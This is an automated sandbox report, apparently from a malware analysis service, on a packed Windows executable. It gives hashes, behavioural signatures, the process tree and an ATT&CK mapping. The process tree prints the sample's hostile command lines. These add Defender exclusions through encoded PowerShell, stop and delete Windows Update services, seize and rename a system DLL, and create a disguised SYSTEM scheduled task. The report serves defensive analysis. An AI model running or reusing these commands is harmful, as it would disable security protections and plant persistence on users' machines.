Analysis

  • max time kernel
    44s
  • max time network
    49s
  • platform
    windows7_x64
  • resource
    win7-20220715-en
  • resource tags

    arch:x64arch:x86image:win7-20220715-enlocale:en-usos:windows7-x64system
  • submitted
    03-08-2022 10:15

General

  • Target

    1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe

  • Size

    7.1MB

  • MD5

    322cf2f6a67420e4eb53f29263a639ba

  • SHA1

    bc91f56c260ff4484f7fb0d33a3d351d3d812781

  • SHA256

    1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025

  • SHA512

    3e58b83f26950059901ad1cbb20a06351b7a815d17a3e65a0a84061b7d0d9af588a2685786c28642b1bb76575c81b272d10a1b1dede515b643b27ea52deadcc7

Malware Config

Signatures

  • Modifies security service 2 TTPs 2 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Possible privilege escalation attempt 2 IoCs
  • Stops running service(s) 3 TTPs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Modifies file permissions 1 TTPs 2 IoCs
  • Themida packer 2 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies registry key 1 TTPs 9 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe
    "C:\Users\Admin\AppData\Local\Temp\1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of WriteProcessMemory
    PID:736
    • C:\Windows\System32\conhost.exe
      "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe"
      2⤵
      • Drops file in Drivers directory
      • Drops file in Program Files directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:864
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGUAdAB2ACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAegBhAHgAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAbgBmACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGIAZwBuACMAPgA="
        3⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1932
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1060
        • C:\Windows\system32\sc.exe
          sc stop UsoSvc
          4⤵
          • Launches sc.exe
          PID:1384
        • C:\Windows\system32\sc.exe
          sc stop WaaSMedicSvc
          4⤵
          • Launches sc.exe
          PID:824
        • C:\Windows\system32\sc.exe
          sc stop wuauserv
          4⤵
          • Launches sc.exe
          PID:1636
        • C:\Windows\system32\sc.exe
          sc stop bits
          4⤵
          • Launches sc.exe
          PID:1516
        • C:\Windows\system32\sc.exe
          sc stop dosvc
          4⤵
          • Launches sc.exe
          PID:1648
        • C:\Windows\system32\reg.exe
          reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
          4⤵
          • Modifies registry key
          PID:2020
        • C:\Windows\system32\reg.exe
          reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
          4⤵
          • Modifies registry key
          PID:568
        • C:\Windows\system32\reg.exe
          reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
          4⤵
          • Modifies security service
          • Modifies registry key
          PID:2032
        • C:\Windows\system32\reg.exe
          reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
          4⤵
          • Modifies registry key
          PID:968
        • C:\Windows\system32\reg.exe
          reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
          4⤵
          • Modifies registry key
          PID:332
        • C:\Windows\system32\takeown.exe
          takeown /f C:\Windows\System32\WaaSMedicSvc.dll
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:1628
        • C:\Windows\system32\icacls.exe
          icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:520
        • C:\Windows\system32\reg.exe
          reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
          4⤵
          • Modifies registry key
          PID:1312
        • C:\Windows\system32\reg.exe
          reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
          4⤵
          • Modifies registry key
          PID:1456
        • C:\Windows\system32\reg.exe
          reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
          4⤵
          • Modifies registry key
          PID:1944
        • C:\Windows\system32\reg.exe
          reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
          4⤵
          • Modifies registry key
          PID:2044
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
          4⤵
            PID:2040
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
            4⤵
              PID:1284
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
              4⤵
                PID:896
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
                4⤵
                  PID:820
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
                  4⤵
                    PID:1748
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
                    4⤵
                      PID:1720
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
                      4⤵
                        PID:1384
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
                      3⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1744
                      • C:\Windows\system32\powercfg.exe
                        powercfg /x -hibernate-timeout-ac 0
                        4⤵
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1788
                      • C:\Windows\system32\powercfg.exe
                        powercfg /x -hibernate-timeout-dc 0
                        4⤵
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1096
                      • C:\Windows\system32\powercfg.exe
                        powercfg /x -standby-timeout-ac 0
                        4⤵
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2028
                      • C:\Windows\system32\powercfg.exe
                        powercfg /x -standby-timeout-dc 0
                        4⤵
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1124
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "\"C:\Program Files\Google\Chrome\updater.exe\""
                      3⤵
                        PID:988
                        • C:\Windows\system32\schtasks.exe
                          schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "\"C:\Program Files\Google\Chrome\updater.exe\""
                          4⤵
                          • Creates scheduled task(s)
                          PID:1708
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" /c schtasks /run /tn "GoogleUpdateTaskMachineQC"
                        3⤵
                          PID:952
                          • C:\Windows\system32\schtasks.exe
                            schtasks /run /tn "GoogleUpdateTaskMachineQC"
                            4⤵
                              PID:1684

                      Network

                      MITRE ATT&CK Matrix ATT&CK v6

                      Execution

                      Scheduled Task

                      1
                      T1053

                      Persistence

                      Modify Existing Service

                      2
                      T1031

                      Scheduled Task

                      1
                      T1053

                      Privilege Escalation

                      Scheduled Task

                      1
                      T1053

                      Defense Evasion

                      Modify Registry

                      2
                      T1112

                      Virtualization/Sandbox Evasion

                      1
                      T1497

                      Impair Defenses

                      1
                      T1562

                      File Permissions Modification

                      1
                      T1222

                      Discovery

                      Query Registry

                      2
                      T1012

                      Virtualization/Sandbox Evasion

                      1
                      T1497

                      System Information Discovery

                      2
                      T1082

                      Impact

                      Service Stop

                      1
                      T1489

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • memory/332-83-0x0000000000000000-mapping.dmp
                      • memory/520-85-0x0000000000000000-mapping.dmp
                      • memory/568-79-0x0000000000000000-mapping.dmp
                      • memory/736-55-0x0000000000400000-0x000000000106F000-memory.dmp
                        Filesize

                        12.4MB

                      • memory/736-57-0x00000000771B0000-0x0000000077359000-memory.dmp
                        Filesize

                        1.7MB

                      • memory/736-54-0x0000000000400000-0x000000000106F000-memory.dmp
                        Filesize

                        12.4MB

                      • memory/820-97-0x0000000000000000-mapping.dmp
                      • memory/824-72-0x0000000000000000-mapping.dmp
                      • memory/864-56-0x0000000000230000-0x000000000064E000-memory.dmp
                        Filesize

                        4.1MB

                      • memory/864-58-0x000000001B820000-0x000000001BC3E000-memory.dmp
                        Filesize

                        4.1MB

                      • memory/864-59-0x000007FEFBA31000-0x000007FEFBA33000-memory.dmp
                        Filesize

                        8KB

                      • memory/896-96-0x0000000000000000-mapping.dmp
                      • memory/952-87-0x0000000000000000-mapping.dmp
                      • memory/968-82-0x0000000000000000-mapping.dmp
                      • memory/988-86-0x0000000000000000-mapping.dmp
                      • memory/1060-68-0x0000000000000000-mapping.dmp
                      • memory/1096-75-0x0000000000000000-mapping.dmp
                      • memory/1124-81-0x0000000000000000-mapping.dmp
                      • memory/1284-95-0x0000000000000000-mapping.dmp
                      • memory/1312-90-0x0000000000000000-mapping.dmp
                      • memory/1384-70-0x0000000000000000-mapping.dmp
                      • memory/1384-100-0x0000000000000000-mapping.dmp
                      • memory/1456-91-0x0000000000000000-mapping.dmp
                      • memory/1516-74-0x0000000000000000-mapping.dmp
                      • memory/1628-84-0x0000000000000000-mapping.dmp
                      • memory/1636-73-0x0000000000000000-mapping.dmp
                      • memory/1648-76-0x0000000000000000-mapping.dmp
                      • memory/1684-89-0x0000000000000000-mapping.dmp
                      • memory/1708-88-0x0000000000000000-mapping.dmp
                      • memory/1720-99-0x0000000000000000-mapping.dmp
                      • memory/1744-69-0x0000000000000000-mapping.dmp
                      • memory/1748-98-0x0000000000000000-mapping.dmp
                      • memory/1788-71-0x0000000000000000-mapping.dmp
                      • memory/1932-66-0x00000000025E4000-0x00000000025E7000-memory.dmp
                        Filesize

                        12KB

                      • memory/1932-67-0x00000000025EB000-0x000000000260A000-memory.dmp
                        Filesize

                        124KB

                      • memory/1932-65-0x000000001B740000-0x000000001BA3F000-memory.dmp
                        Filesize

                        3.0MB

                      • memory/1932-64-0x00000000025E4000-0x00000000025E7000-memory.dmp
                        Filesize

                        12KB

                      • memory/1932-63-0x000007FEEC670000-0x000007FEED1CD000-memory.dmp
                        Filesize

                        11.4MB

                      • memory/1932-62-0x000007FEED1D0000-0x000007FEEDBF3000-memory.dmp
                        Filesize

                        10.1MB

                      • memory/1932-60-0x0000000000000000-mapping.dmp
                      • memory/1944-92-0x0000000000000000-mapping.dmp
                      • memory/2020-77-0x0000000000000000-mapping.dmp
                      • memory/2028-78-0x0000000000000000-mapping.dmp
                      • memory/2032-80-0x0000000000000000-mapping.dmp
                      • memory/2040-94-0x0000000000000000-mapping.dmp
                      • memory/2044-93-0x0000000000000000-mapping.dmp